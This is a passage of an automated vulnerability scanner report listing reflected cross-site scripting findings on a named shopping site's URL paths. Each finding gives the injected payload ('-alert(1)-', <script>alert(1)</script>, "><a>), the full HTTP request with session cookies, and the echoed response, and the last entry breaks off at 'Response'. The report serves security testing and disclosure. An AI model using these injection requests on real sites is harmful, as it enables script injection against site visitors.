<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories4fd2c<script>alert(1)</script>10f60d99e65 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 447c8'-alert(1)-'a0cd7cd231e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784447c8'-alert(1)-'a0cd7cd231e/Swimwear/53 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:37:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61766
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784447c8'-alert(1)-'a0cd7cd231e/Swimwear/53'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc070'-alert(1)-'489ba6c8d0d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Swimwearbc070'-alert(1)-'489ba6c8d0d/53 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:48:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Swimwearbc070'-alert(1)-'489ba6c8d0d/53'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1880'-alert(1)-'4070e905925 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Swimwear/53f1880'-alert(1)-'4070e905925 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:53:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55297
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Swimwear/53f1880'-alert(1)-'4070e905925'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 37919'-alert(1)-'80e318a2088 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping37919'-alert(1)-'80e318a2088/Clothing-Accessories/194367784/Watches/36 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:00:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60513
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping37919'-alert(1)-'80e318a2088/Clothing-Accessories/194367784/Watches/36'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de16f"><a>ff06d6c3af was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingde16f"><a>ff06d6c3af/Clothing-Accessories/194367784/Watches/36 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:52:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59940
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingde16f"><a>ff06d6c3af"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 645bf<script>alert(1)</script>5adbf37b053 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories645bf<script>alert(1)</script>5adbf37b053/194367784/Watches/36 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:06:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61458
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories645bf<script>alert(1)</script>5adbf37b053 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33beb'-alert(1)-'ddafe0f695f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories33beb'-alert(1)-'ddafe0f695f/194367784/Watches/36 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:05:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories33beb'-alert(1)-'ddafe0f695f/194367784/Watches/36'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef829'-alert(1)-'65615c2a724 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784ef829'-alert(1)-'65615c2a724/Watches/36 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:13:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61296
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784ef829'-alert(1)-'65615c2a724/Watches/36'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 408e4'-alert(1)-'f97b254136f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Watches408e4'-alert(1)-'f97b254136f/36 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:19:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62073
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories/194367784/Watches408e4'-alert(1)-'f97b254136f/36'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8debd'-alert(1)-'e4d134f74fe was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Watches/368debd'-alert(1)-'e4d134f74fe HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:24:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55287
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/194367784/Watches/368debd'-alert(1)-'e4d134f74fe'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d65a3'-alert(1)-'daf630a9340 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingd65a3'-alert(1)-'daf630a9340/Consumer-Goods/235690923 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:44:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59964
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shoppingd65a3'-alert(1)-'daf630a9340/Consumer-Goods'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2df7e"><a>fa8cbfdc028 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping2df7e"><a>fa8cbfdc028/Consumer-Goods/235690923 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:37:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60255
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping2df7e"><a>fa8cbfdc028"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload f749c<script>alert(1)</script>1603827485f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Consumer-Goodsf749c<script>alert(1)</script>1603827485f/235690923 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:48:31 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61111
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Consumer Goodsf749c<script>alert(1)</script>1603827485f <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d9709'-alert(1)-'dc2afc07940 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Consumer-Goodsd9709'-alert(1)-'dc2afc07940/235690923 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:48:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61186
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Consumer-Goodsd9709'-alert(1)-'dc2afc07940'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4de26"><a>34b6c8001fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping4de26"><a>34b6c8001fc/Consumer-Goods/235690923/Flowers/17 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
